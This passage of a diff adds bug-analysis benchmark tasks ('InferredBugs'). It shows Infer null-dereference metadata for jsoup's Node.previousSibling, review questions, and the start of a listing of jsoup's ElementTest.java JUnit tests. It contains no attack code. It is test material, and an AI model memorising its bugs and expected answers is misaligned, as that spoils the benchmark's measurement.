+        public void tail(Node node, int depth) {
+            node.outerHtmlTail(accum, depth);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `index` last assigned on line 295 could be null and is dereferenced at line 297.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Node Node.previousSibling()
+
+### Procedure Id:
+org.jsoup.nodes.Node.previousSibling():org.jsoup.nodes.Node.0de6c6abf3e28ae4df2e166437430a89
+
+### File:
+src/main/java/org/jsoup/nodes/Node.java
+
+### Key:
+Node.java|previousSibling|NULL_DEREFERENCE
+
+### Node Key:
+b0332e11c33066b7b27fa03971d6db83
+
+### Hash:
+3767ee7400b2924ad7c165175448bf2a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7749/instruction.md b/inferredbugs-7749/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..63c8284ba47dc65fec35122596356b6888aeb876
--- /dev/null
+++ b/inferredbugs-7749/instruction.md
@@ -0,0 +1,1430 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsoup
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jsoup.nodes;
+
+import org.jsoup.Jsoup;
+import org.jsoup.TextUtil;
+import org.jsoup.parser.Tag;
+import org.jsoup.select.Elements;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+/**
+ * Tests for Element (DOM stuff mostly).
+ *
+ * @author Jonathan Hedley
+ */
+public class ElementTest {
+    private String reference = "<div id=div1><p>Hello</p><p>Another <b>element</b></p><div id=div2><img src=foo.png></div></div>";
+
+    @Test public void getElementsByTagName() {
+        Document doc = Jsoup.parse(reference);
+        List<Element> divs = doc.getElementsByTag("div");
+        assertEquals(2, divs.size());
+        assertEquals("div1", divs.get(0).id());
+        assertEquals("div2", divs.get(1).id());
+
+        List<Element> ps = doc.getElementsByTag("p");
+        assertEquals(2, ps.size());
+        assertEquals("Hello", ((TextNode) ps.get(0).childNode(0)).getWholeText());
+        assertEquals("Another ", ((TextNode) ps.get(1).childNode(0)).getWholeText());
+        List<Element> ps2 = doc.getElementsByTag("P");
+        assertEquals(ps, ps2);
+
+        List<Element> imgs = doc.getElementsByTag("img");
+        assertEquals("foo.png", imgs.get(0).attr("src"));
+
+        List<Element> empty = doc.getElementsByTag("wtf");
+        assertEquals(0, empty.size());
+    }
+    
+    @Test public void getNamespacedElementsByTag() {
+        Document doc = Jsoup.parse("<div><abc:def id=1>Hello</abc:def></div>");
+        Elements els = doc.getElementsByTag("abc:def");
+        assertEquals(1, els.size());
+        assertEquals("1", els.first().id());
+        assertEquals("abc:def", els.first().tagName());
+    }
+
+    @Test public void testGetElementById() {
+        Document doc = Jsoup.parse(reference);
+        Element div = doc.getElementById("div1");
+        assertEquals("div1", div.id());
+        assertNull(doc.getElementById("none"));
+
+        Document doc2 = Jsoup.parse("<div id=1><div id=2><p>Hello <span id=2>world!</span></p></div></div>");
+        Element div2 = doc2.getElementById("2");
+        assertEquals("div", div2.tagName()); // not the span
+        Element span = div2.child(0).getElementById("2"); // called from <p> context should be span
+        assertEquals("span", span.tagName());
+    }
+    
+    @Test public void testGetText() {
+        Document doc = Jsoup.parse(reference);
+        assertEquals("Hello Another element", doc.text());
+        assertEquals("Another element", doc.getElementsByTag("p").get(1).text());
+    }
+
+    @Test public void testGetChildText() {
+        Document doc = Jsoup.parse("<p>Hello <b>there</b> now");
+        Element p = doc.select("p").first();
+        assertEquals("Hello there now", p.text());
+        assertEquals("Hello now", p.ownText());
+    }
+
+    @Test public void testNormalisesText() {
+        String h = "<p>Hello<p>There.</p> \n <p>Here <b>is</b> \n s<b>om</b>e text.";
+        Document doc = Jsoup.parse(h);
+        String text = doc.text();
+        assertEquals("Hello There. Here is some text.", text);
+    }
+
+    @Test public void testKeepsPreText() {
+        String h = "<p>Hello \n \n there.</p> <div><pre>  What's \n\n  that?</pre>";
+        Document doc = Jsoup.parse(h);
+        assertEquals("Hello there.   What's \n\n  that?", doc.text());
+    }
+
+    @Test public void testKeepsPreTextInCode() {
+        String h = "<pre><code>code\n\ncode</code></pre>";
+        Document doc = Jsoup.parse(h);
+        assertEquals("code\n\ncode", doc.text());
+        assertEquals("<pre><code>code\n\ncode</code></pre>", doc.body().html());
+    }
+
+    @Test public void testKeepsPreTextAtDepth() {
+        String h = "<pre><code><span><b>code\n\ncode</b></span></code></pre>";
+        Document doc = Jsoup.parse(h);
+        assertEquals("code\n\ncode", doc.text());
+        assertEquals("<pre><code><span><b>code\n\ncode</b></span></code></pre>", doc.body().html());
+    }
+
+    @Test public void testBrHasSpace() {
+        Document doc = Jsoup.parse("<p>Hello<br>there</p>");
+        assertEquals("Hello there", doc.text());
+        assertEquals("Hello there", doc.select("p").first().ownText());
+
+        doc = Jsoup.parse("<p>Hello <br> there</p>");
+        assertEquals("Hello there", doc.text());
+    }
+
+    @Test public void testWholeText() {
+        Document doc = Jsoup.parse("<p> Hello\nthere &nbsp;  </p>");
+        assertEquals(" Hello\nthere    ", doc.wholeText());
+
+        doc = Jsoup.parse("<p>Hello  \n  there</p>");
+        assertEquals("Hello  \n  there", doc.wholeText());
+
+        doc = Jsoup.parse("<p>Hello  <div>\n  there</div></p>");
+        assertEquals("Hello  \n  there", doc.wholeText());
+    }
+
+    @Test public void testGetSiblings() {
+        Document doc = Jsoup.parse("<div><p>Hello<p id=1>there<p>this<p>is<p>an<p id=last>element</div>");
+        Element p = doc.getElementById("1");
+        assertEquals("there", p.text());
+        assertEquals("Hello", p.previousElementSibling().text());
+        assertEquals("this", p.nextElementSibling().text());
+        assertEquals("Hello", p.firstElementSibling().text());
+        assertEquals("element", p.lastElementSibling().text());
+    }
+
+    @Test public void testGetSiblingsWithDuplicateContent() {
+        Document doc = Jsoup.parse("<div><p>Hello<p id=1>there<p>this<p>this<p>is<p>an<p id=last>element</div>");
+        Element p = doc.getElementById("1");
+        assertEquals("there", p.text());
+        assertEquals("Hello", p.previousElementSibling().text());
+        assertEquals("this", p.nextElementSibling().text());
+        assertEquals("this", p.nextElementSibling().nextElementSibling().text());
+        assertEquals("is", p.nextElementSibling().nextElementSibling().nextElementSibling().text());
+        assertEquals("Hello", p.firstElementSibling().text());
+        assertEquals("element", p.lastElementSibling().text());
+    }
+
+    @Test public void testGetParents() {
+        Document doc = Jsoup.parse("<div><p>Hello <span>there</span></div>");
+        Element span = doc.select("span").first();
+        Elements parents = span.parents();
+
+        assertEquals(4, parents.size());
+        assertEquals("p", parents.get(0).tagName());
+        assertEquals("div", parents.get(1).tagName());
+        assertEquals("body", parents.get(2).tagName());
+        assertEquals("html", parents.get(3).tagName());
+    }
+    
+    @Test public void testElementSiblingIndex() {
+        Document doc = Jsoup.parse("<div><p>One</p>...<p>Two</p>...<p>Three</p>");
+        Elements ps = doc.select("p");
+        assertTrue(0 == ps.get(0).elementSiblingIndex());
+        assertTrue(1 == ps.get(1).elementSiblingIndex());
+        assertTrue(2 == ps.get(2).elementSiblingIndex());
+    }
+
+    @Test public void testElementSiblingIndexSameContent() {
+        Document doc = Jsoup.parse("<div><p>One</p>...<p>One</p>...<p>One</p>");
+        Elements ps = doc.select("p");
+        assertTrue(0 == ps.get(0).elementSiblingIndex());
+        assertTrue(1 == ps.get(1).elementSiblingIndex());
+        assertTrue(2 == ps.get(2).elementSiblingIndex());
+    }
+
+    @Test public void testGetElementsWithClass() {
+        Document doc = Jsoup.parse("<div class='mellow yellow'><span class=mellow>Hello <b class='yellow'>Yellow!</b></span><p>Empty</p></div>");
+
+        List<Element> els = doc.getElementsByClass("mellow");
+        assertEquals(2, els.size());
+        assertEquals("div", els.get(0).tagName());
+        assertEquals("span", els.get(1).tagName());
+
+        List<Element> els2 = doc.getElementsByClass("yellow");
+        assertEquals(2, els2.size());
+        assertEquals("div", els2.get(0).tagName());
+        assertEquals("b", els2.get(1).tagName());
+
+        List<Element> none = doc.getElementsByClass("solo");
+        assertEquals(0, none.size());
+    }
+
+    @Test public void testGetElementsWithAttribute() {
+        Document doc = Jsoup.parse("<div style='bold'><p title=qux><p><b style></b></p></div>");
+        List<Element> els = doc.getElementsByAttribute("style");
+        assertEquals(2, els.size());
+        assertEquals("div", els.get(0).tagName());
+        assertEquals("b", els.get(1).tagName());
+
+        List<Element> none = doc.getElementsByAttribute("class");
+        assertEquals(0, none.size());
+    }
+
+    @Test public void testGetElementsWithAttributeDash() {
+        Document doc = Jsoup.parse("<meta http-equiv=content-type value=utf8 id=1> <meta name=foo content=bar id=2> <div http-equiv=content-type value=utf8 id=3>");
+        Elements meta = doc.select("meta[http-equiv=content-type], meta[charset]");
+        assertEquals(1, meta.size());
+        assertEquals("1", meta.first().id());
+    }
+
+    @Test public void testGetElementsWithAttributeValue() {
+        Document doc = Jsoup.parse("<div style='bold'><p><p><b style></b></p></div>");
+        List<Element> els = doc.getElementsByAttributeValue("style", "bold");
+        assertEquals(1, els.size());
+        assertEquals("div", els.get(0).tagName());
+
+        List<Element> none = doc.getElementsByAttributeValue("style", "none");
+        assertEquals(0, none.size());
+    }
+    
+    @Test public void testClassDomMethods() {
+        Document doc = Jsoup.parse("<div><span class=' mellow yellow '>Hello <b>Yellow</b></span></div>");
+        List<Element> els = doc.getElementsByAttribute("class");
+        Element span = els.get(0);
+        assertEquals("mellow yellow", span.className());
+        assertTrue(span.hasClass("mellow"));
+        assertTrue(span.hasClass("yellow"));
+        Set<String> classes = span.classNames();
+        assertEquals(2, classes.size());
+        assertTrue(classes.contains("mellow"));
+        assertTrue(classes.contains("yellow"));
+
+        assertEquals("", doc.className());
+        classes = doc.classNames();
+        assertEquals(0, classes.size());
+        assertFalse(doc.hasClass("mellow"));
+    }
+    
+    @Test public void testHasClassDomMethods() {
+        Tag tag = Tag.valueOf("a");
+        Attributes attribs = new Attributes();
+        Element el = new Element(tag, "", attribs);
+        
+        attribs.put("class", "toto");
+        boolean hasClass = el.hasClass("toto");
+        assertTrue(hasClass);
+        
+        attribs.put("class", " toto");
+        hasClass = el.hasClass("toto");
+        assertTrue(hasClass);
+        
+        attribs.put("class", "toto ");
+        hasClass = el.hasClass("toto");
+        assertTrue(hasClass);
+        
+        attribs.put("class", "\ttoto ");
+        hasClass = el.hasClass("toto");
+        assertTrue(hasClass);
+        
+        attribs.put("class", "  toto ");
+        hasClass = el.hasClass("toto");
+        assertTrue(hasClass);
+        
+        attribs.put("class", "ab");
+        hasClass = el.hasClass("toto");
+        assertFalse(hasClass);
+        
+        attribs.put("class", "     ");
+        hasClass = el.hasClass("toto");
+        assertFalse(hasClass);
+        
+        attribs.put("class", "tototo");
+        hasClass = el.hasClass("toto");
+        assertFalse(hasClass);
+        
+        attribs.put("class", "raulpismuth  ");
+        hasClass = el.hasClass("raulpismuth");
+        assertTrue(hasClass);
+        
+        attribs.put("class", " abcd  raulpismuth efgh ");
+        hasClass = el.hasClass("raulpismuth");
+        assertTrue(hasClass);
+        
+        attribs.put("class", " abcd efgh raulpismuth");
+        hasClass = el.hasClass("raulpismuth");
+        assertTrue(hasClass);
+        
+        attribs.put("class", " abcd efgh raulpismuth ");
+        hasClass = el.hasClass("raulpismuth");
+        assertTrue(hasClass);
+    }
+
+    
+    @Test public void testClassUpdates() {
+        Document doc = Jsoup.parse("<div class='mellow yellow'></div>");
+        Element div = doc.select("div").first();
+
+        div.addClass("green");
+        assertEquals("mellow yellow green", div.className());
+        div.removeClass("red"); // noop
+        div.removeClass("yellow");
+        assertEquals("mellow green", div.className());
+        div.toggleClass("green").toggleClass("red");
+        assertEquals("mellow red", div.className());
+    }
+
+    @Test public void testOuterHtml() {
+        Document doc = Jsoup.parse("<div title='Tags &amp;c.'><img src=foo.png><p><!-- comment -->Hello<p>there");
+        assertEquals("<html><head></head><body><div title=\"Tags &amp;c.\"><img src=\"foo.png\"><p><!-- comment -->Hello</p><p>there</p></div></body></html>",
+                TextUtil.stripNewlines(doc.outerHtml()));
+    }
+
+    @Test public void testInnerHtml() {
+        Document doc = Jsoup.parse("<div>\n <p>Hello</p> </div>");
+        assertEquals("<p>Hello</p>", doc.getElementsByTag("div").get(0).html());
+    }
+
+    @Test public void testFormatHtml() {
+        Document doc = Jsoup.parse("<title>Format test</title><div><p>Hello <span>jsoup <span>users</span></span></p><p>Good.</p></div>");
+        assertEquals("<html>\n <head>\n  <title>Format test</title>\n </head>\n <body>\n  <div>\n   <p>Hello <span>jsoup <span>users</span></span></p>\n   <p>Good.</p>\n  </div>\n </body>\n</html>", doc.html());
+    }
+    
+    @Test public void testFormatOutline() {
+        Document doc = Jsoup.parse("<title>Format test</title><div><p>Hello <span>jsoup <span>users</span></span></p><p>Good.</p></div>");
+        doc.outputSettings().outline(true);
+        assertEquals("<html>\n <head>\n  <title>Format test</title>\n </head>\n <body>\n  <div>\n   <p>\n    Hello \n    <span>\n     jsoup \n     <span>users</span>\n    </span>\n   </p>\n   <p>Good.</p>\n  </div>\n </body>\n</html>", doc.html());
+    }
+
+    @Test public void testSetIndent() {
+        Document doc = Jsoup.parse("<div><p>Hello\nthere</p></div>");
+        doc.outputSettings().indentAmount(0);
+        assertEquals("<html>\n<head></head>\n<body>\n<div>\n<p>Hello there</p>\n</div>\n</body>\n</html>", doc.html());
+    }
+
+    @Test public void testNotPretty() {
+        Document doc = Jsoup.parse("<div>   \n<p>Hello\n there\n</p></div>");
+        doc.outputSettings().prettyPrint(false);
+        assertEquals("<html><head></head><body><div>   \n<p>Hello\n there\n</p></div></body></html>", doc.html());
+
+        Element div = doc.select("div").first();
+        assertEquals("   \n<p>Hello\n there\n</p>", div.html());
+    }
+    
+    @Test public void testEmptyElementFormatHtml() {
+        // don't put newlines into empty blocks
+        Document doc = Jsoup.parse("<section><div></div></section>");
+        assertEquals("<section>\n <div></div>\n</section>", doc.select("section").first().outerHtml());
+    }
+
+    @Test public void testNoIndentOnScriptAndStyle() {
+        // don't newline+indent closing </script> and </style> tags
+        Document doc = Jsoup.parse("<script>one\ntwo</script>\n<style>three\nfour</style>");
+        assertEquals("<script>one\ntwo</script> \n<style>three\nfour</style>", doc.head().html());
+    }
+
+    @Test public void testContainerOutput() {
+        Document doc = Jsoup.parse("<title>Hello there</title> <div><p>Hello</p><p>there</p></div> <div>Another</div>");
+        assertEquals("<title>Hello there</title>", doc.select("title").first().outerHtml());
+        assertEquals("<div>\n <p>Hello</p>\n <p>there</p>\n</div>", doc.select("div").first().outerHtml());
+        assertEquals("<div>\n <p>Hello</p>\n <p>there</p>\n</div> \n<div>\n Another\n</div>", doc.select("body").first().html());
+    }
+
+    @Test public void testSetText() {
+        String h = "<div id=1>Hello <p>there <b>now</b></p></div>";
+        Document doc = Jsoup.parse(h);
+        assertEquals("Hello there now", doc.text()); // need to sort out node whitespace
+        assertEquals("there now", doc.select("p").get(0).text());
+
+        Element div = doc.getElementById("1").text("Gone");
+        assertEquals("Gone", div.text());
+        assertEquals(0, doc.select("p").size());
+    }
+    
+    @Test public void testAddNewElement() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.appendElement("p").text("there");
+        div.appendElement("P").attr("CLASS", "second").text("now");
+        // manually specifying tag and attributes should maintain case based on parser settings
+        assertEquals("<html><head></head><body><div id=\"1\"><p>Hello</p><p>there</p><p class=\"second\">now</p></div></body></html>",
+                TextUtil.stripNewlines(doc.html()));
+
+        // check sibling index (with short circuit on reindexChildren):
+        Elements ps = doc.select("p");
+        for (int i = 0; i < ps.size(); i++) {
+            assertEquals(i, ps.get(i).siblingIndex);
+        }
+    }
+    
+    @Test public void testAddBooleanAttribute() {
+        Element div = new Element(Tag.valueOf("div"), "");
+        
+        div.attr("true", true);
+        
+        div.attr("false", "value");
+        div.attr("false", false);
+        
+        assertTrue(div.hasAttr("true"));
+        assertEquals("", div.attr("true"));
+        
+        List<Attribute> attributes = div.attributes().asList();
+        assertEquals("There should be one attribute", 1, attributes.size());
+		assertTrue("Attribute should be boolean", attributes.get(0) instanceof BooleanAttribute);
+        
+        assertFalse(div.hasAttr("false"));
+ 
+        assertEquals("<div true></div>", div.outerHtml());
+    }    
+
+    @Test public void testAppendRowToTable() {
+        Document doc = Jsoup.parse("<table><tr><td>1</td></tr></table>");
+        Element table = doc.select("tbody").first();
+        table.append("<tr><td>2</td></tr>");
+
+        assertEquals("<table><tbody><tr><td>1</td></tr><tr><td>2</td></tr></tbody></table>", TextUtil.stripNewlines(doc.body().html()));
+    }
+
+        @Test public void testPrependRowToTable() {
+        Document doc = Jsoup.parse("<table><tr><td>1</td></tr></table>");
+        Element table = doc.select("tbody").first();
+        table.prepend("<tr><td>2</td></tr>");
+
+        assertEquals("<table><tbody><tr><td>2</td></tr><tr><td>1</td></tr></tbody></table>", TextUtil.stripNewlines(doc.body().html()));
+
+        // check sibling index (reindexChildren):
+        Elements ps = doc.select("tr");
+        for (int i = 0; i < ps.size(); i++) {
+            assertEquals(i, ps.get(i).siblingIndex);
+        }
+    }
+    
+    @Test public void testPrependElement() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.prependElement("p").text("Before");
+        assertEquals("Before", div.child(0).text());
+        assertEquals("Hello", div.child(1).text());
+    }
+    
+    @Test public void testAddNewText() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.appendText(" there & now >");
+        assertEquals("<p>Hello</p> there &amp; now &gt;", TextUtil.stripNewlines(div.html()));
+    }
+    
+    @Test public void testPrependText() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.prependText("there & now > ");
+        assertEquals("there & now > Hello", div.text());
+        assertEquals("there &amp; now &gt; <p>Hello</p>", TextUtil.stripNewlines(div.html()));
+    }
+
+    @Test(expected = IllegalArgumentException.class) public void testThrowsOnAddNullText() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.appendText(null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)  public void testThrowsOnPrependNullText() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.prependText(null);
+    }
+    
+    @Test public void testAddNewHtml() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.append("<p>there</p><p>now</p>");
+        assertEquals("<p>Hello</p><p>there</p><p>now</p>", TextUtil.stripNewlines(div.html()));
+
+        // check sibling index (no reindexChildren):
+        Elements ps = doc.select("p");
+        for (int i = 0; i < ps.size(); i++) {
+            assertEquals(i, ps.get(i).siblingIndex);
+        }
+    }
+    
+    @Test public void testPrependNewHtml() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.prepend("<p>there</p><p>now</p>");
+        assertEquals("<p>there</p><p>now</p><p>Hello</p>", TextUtil.stripNewlines(div.html()));
+
+        // check sibling index (reindexChildren):
+        Elements ps = doc.select("p");
+        for (int i = 0; i < ps.size(); i++) {
+            assertEquals(i, ps.get(i).siblingIndex);
+        }
+    }
+    
+    @Test public void testSetHtml() {
+        Document doc = Jsoup.parse("<div id=1><p>Hello</p></div>");
+        Element div = doc.getElementById("1");
+        div.html("<p>there</p><p>now</p>");
+        assertEquals("<p>there</p><p>now</p>", TextUtil.stripNewlines(div.html()));
+    }
+
+    @Test public void testSetHtmlTitle() {
+        Document doc = Jsoup.parse("<html><head id=2><title id=1></title></head></html>");
+
+        Element title = doc.getElementById("1");
+        title.html("good");
+        assertEquals("good", title.html());
+        title.html("<i>bad</i>");
+        assertEquals("&lt;i&gt;bad&lt;/i&gt;", title.html());
+
+        Element head = doc.getElementById("2");
+        head.html("<title><i>bad</i></title>");
+        assertEquals("<title>&lt;i&gt;bad&lt;/i&gt;</title>", head.html());
+    }
+
+    @Test public void testWrap() {
+        Document doc = Jsoup.parse("<div><p>Hello</p><p>There</p></div>");
+        Element p = doc.select("p").first();
+        p.wrap("<div class='head'></div>");
+        assertEquals("<div><div class=\"head\"><p>Hello</p></div><p>There</p></div>", TextUtil.stripNewlines(doc.body().html()));
+
+        Element ret = p.wrap("<div><div class=foo></div><p>What?</p></div>");
+        assertEquals("<div><div class=\"head\"><div><div class=\"foo\"><p>Hello</p></div><p>What?</p></div></div><p>There</p></div>",
+                TextUtil.stripNewlines(doc.body().html()));
+
+        assertEquals(ret, p);
+    }
+    
+    @Test public void before() {
+        Document doc = Jsoup.parse("<div><p>Hello</p><p>There</p></div>");
+        Element p1 = doc.select("p").first();
+        p1.before("<div>one</div><div>two</div>");
+        assertEquals("<div><div>one</div><div>two</div><p>Hello</p><p>There</p></div>", TextUtil.stripNewlines(doc.body().html()));
+        
+        doc.select("p").last().before("<p>Three</p><!-- four -->");
+        assertEquals("<div><div>one</div><div>two</div><p>Hello</p><p>Three</p><!-- four --><p>There</p></div>", TextUtil.stripNewlines(doc.body().html()));
+    }
+    
+    @Test public void after() {
+        Document doc = Jsoup.parse("<div><p>Hello</p><p>There</p></div>");
+        Element p1 = doc.select("p").first();
+        p1.after("<div>one</div><div>two</div>");
+        assertEquals("<div><p>Hello</p><div>one</div><div>two</div><p>There</p></div>", TextUtil.stripNewlines(doc.body().html()));
+        
+        doc.select("p").last().after("<p>Three</p><!-- four -->");
+        assertEquals("<div><p>Hello</p><div>one</div><div>two</div><p>There</p><p>Three</p><!-- four --></div>", TextUtil.stripNewlines(doc.body().html()));
+    }
+
+    @Test public void testWrapWithRemainder() {
+        Document doc = Jsoup.parse("<div><p>Hello</p></div>");
+        Element p = doc.select("p").first();
+        p.wrap("<div class='head'></div><p>There!</p>");
+        assertEquals("<div><div class=\"head\"><p>Hello</p><p>There!</p></div></div>", TextUtil.stripNewlines(doc.body().html()));
+    }
+
+    @Test public void testHasText() {
+        Document doc = Jsoup.parse("<div><p>Hello</p><p></p></div>");
+        Element div = doc.select("div").first();
+        Elements ps = doc.select("p");
+
+        assertTrue(div.hasText());
+        assertTrue(ps.first().hasText());
+        assertFalse(ps.last().hasText());
+    }
+
+    @Test public void dataset() {
+        Document doc = Jsoup.parse("<div id=1 data-name=jsoup class=new data-package=jar>Hello</div><p id=2>Hello</p>");
+        Element div = doc.select("div").first();
+        Map<String, String> dataset = div.dataset();
+        Attributes attributes = div.attributes();
+
+        // size, get, set, add, remove
+        assertEquals(2, dataset.size());
+        assertEquals("jsoup", dataset.get("name"));
+        assertEquals("jar", dataset.get("package"));
+
+        dataset.put("name", "jsoup updated");
+        dataset.put("language", "java");
+        dataset.remove("package");
+
+        assertEquals(2, dataset.size());
+        assertEquals(4, attributes.size());
+        assertEquals("jsoup updated", attributes.get("data-name"));
+        assertEquals("jsoup updated", dataset.get("name"));
+        assertEquals("java", attributes.get("data-language"));
+        assertEquals("java", dataset.get("language"));
+
+        attributes.put("data-food", "bacon");
+        assertEquals(3, dataset.size());
+        assertEquals("bacon", dataset.get("food"));
+
+        attributes.put("data-", "empty");
+        assertEquals(null, dataset.get("")); // data- is not a data attribute
+
+        Element p = doc.select("p").first();
+        assertEquals(0, p.dataset().size());
+
+    }
+
+    @Test public void parentlessToString() {
+        Document doc = Jsoup.parse("<img src='foo'>");
+        Element img = doc.select("img").first();
+        assertEquals("<img src=\"foo\">", img.toString());
+
+        img.remove(); // lost its parent
+        assertEquals("<img src=\"foo\">", img.toString());
+    }
+
+    @Test public void testClone() {
+        Document doc = Jsoup.parse("<div><p>One<p><span>Two</div>");
+
+        Element p = doc.select("p").get(1);
+        Element clone = p.clone();
+
+        assertNull(clone.parent()); // should be orphaned
+        assertEquals(0, clone.siblingIndex);
+        assertEquals(1, p.siblingIndex);
+        assertNotNull(p.parent());
+
+        clone.append("<span>Three");
+        assertEquals("<p><span>Two</span><span>Three</span></p>", TextUtil.stripNewlines(clone.outerHtml()));
+        assertEquals("<div><p>One</p><p><span>Two</span></p></div>", TextUtil.stripNewlines(doc.body().html())); // not modified
+
+        doc.body().appendChild(clone); // adopt
+        assertNotNull(clone.parent());
+        assertEquals("<div><p>One</p><p><span>Two</span></p></div><p><span>Two</span><span>Three</span></p>", TextUtil.stripNewlines(doc.body().html()));
+    }
+
+    @Test public void testClonesClassnames() {
+        Document doc = Jsoup.parse("<div class='one two'></div>");
+        Element div = doc.select("div").first();
+        Set<String> classes = div.classNames();
+        assertEquals(2, classes.size());
+        assertTrue(classes.contains("one"));
+        assertTrue(classes.contains("two"));
+
+        Element copy = div.clone();
+        Set<String> copyClasses = copy.classNames();
+        assertEquals(2, copyClasses.size());
+        assertTrue(copyClasses.contains("one"));
+        assertTrue(copyClasses.contains("two"));
+        copyClasses.add("three");
+        copyClasses.remove("one");
+
+        assertTrue(classes.contains("one"));
+        assertFalse(classes.contains("three"));
+        assertFalse(copyClasses.contains("one"));
+        assertTrue(copyClasses.contains("three"));
+
+        assertEquals("", div.html());
+        assertEquals("", copy.html());
+    }
+
+    @Test public void testShallowClone() {
+        String base = "http://example.com/";
+        Document doc = Jsoup.parse("<div id=1 class=one><p id=2 class=two>One", base);
+        Element d = doc.selectFirst("div");
+        Element p = doc.selectFirst("p");
+        TextNode t = p.textNodes().get(0);
+
+        Element d2 = d.shallowClone();
+        Element p2 = p.shallowClone();
+        TextNode t2 = (TextNode) t.shallowClone();
+
+        assertEquals(1, d.childNodeSize());
+        assertEquals(0, d2.childNodeSize());
+
+        assertEquals(1, p.childNodeSize());
+        assertEquals(0, p2.childNodeSize());
+        assertEquals("", p2.text());
+
+        assertEquals("two", p2.className());
+        assertEquals("One", t2.text());
+
+        d2.append("<p id=3>Three");
+        assertEquals(1, d2.childNodeSize());
+        assertEquals("Three", d2.text());
+        assertEquals("One", d.text());
+        assertEquals(base, d2.baseUri());
+    }
+
+    @Test public void testTagNameSet() {
+        Document doc = Jsoup.parse("<div><i>Hello</i>");
+        doc.select("i").first().tagName("em");
+        assertEquals(0, doc.select("i").size());
+        assertEquals(1, doc.select("em").size());
+        assertEquals("<em>Hello</em>", doc.select("div").first().html());
+    }
+
+    @Test public void testHtmlContainsOuter() {
+        Document doc = Jsoup.parse("<title>Check</title> <div>Hello there</div>");
+        doc.outputSettings().indentAmount(0);
+        assertTrue(doc.html().contains(doc.select("title").outerHtml()));
+        assertTrue(doc.html().contains(doc.select("div").outerHtml()));
+    }
+
+    @Test public void testGetTextNodes() {
+        Document doc = Jsoup.parse("<p>One <span>Two</span> Three <br> Four</p>");
+        List<TextNode> textNodes = doc.select("p").first().textNodes();
+
+        assertEquals(3, textNodes.size());
+        assertEquals("One ", textNodes.get(0).text());
+        assertEquals(" Three ", textNodes.get(1).text());
+        assertEquals(" Four", textNodes.get(2).text());
+
+        assertEquals(0, doc.select("br").first().textNodes().size());
+    }
+
+    @Test public void testManipulateTextNodes() {
+        Document doc = Jsoup.parse("<p>One <span>Two</span> Three <br> Four</p>");
+        Element p = doc.select("p").first();
+        List<TextNode> textNodes = p.textNodes();
+
+        textNodes.get(1).text(" three-more ");
+        textNodes.get(2).splitText(3).text("-ur");
+
+        assertEquals("One Two three-more Fo-ur", p.text());
+        assertEquals("One three-more Fo-ur", p.ownText());
+        assertEquals(4, p.textNodes().size()); // grew because of split
+    }
+
+    @Test public void testGetDataNodes() {
+        Document doc = Jsoup.parse("<script>One Two</script> <style>Three Four</style> <p>Fix Six</p>");
+        Element script = doc.select("script").first();
+        Element style = doc.select("style").first();
+        Element p = doc.select("p").first();
+
+        List<DataNode> scriptData = script.dataNodes();
+        assertEquals(1, scriptData.size());
+        assertEquals("One Two", scriptData.get(0).getWholeData());
+
+        List<DataNode> styleData = style.dataNodes();
+        assertEquals(1, styleData.size());
+        assertEquals("Three Four", styleData.get(0).getWholeData());
+
+        List<DataNode> pData = p.dataNodes();
+        assertEquals(0, pData.size());
+    }
+
+    @Test public void elementIsNotASiblingOfItself() {
+        Document doc = Jsoup.parse("<div><p>One<p>Two<p>Three</div>");
+        Element p2 = doc.select("p").get(1);
+
+        assertEquals("Two", p2.text());
+        Elements els = p2.siblingElements();
+        assertEquals(2, els.size());
+        assertEquals("<p>One</p>", els.get(0).outerHtml());
+        assertEquals("<p>Three</p>", els.get(1).outerHtml());
+    }
+
+    @Test public void testChildThrowsIndexOutOfBoundsOnMissing() {
+        Document doc = Jsoup.parse("<div><p>One</p><p>Two</p></div>");
+        Element div = doc.select("div").first();
+
+        assertEquals(2, div.children().size());
+        assertEquals("One", div.child(0).text());
+
+        try {
+            div.child(3);
+            fail("Should throw index out of bounds");
+        } catch (IndexOutOfBoundsException e) {}
+    }
+
+    @Test
+    public void moveByAppend() {
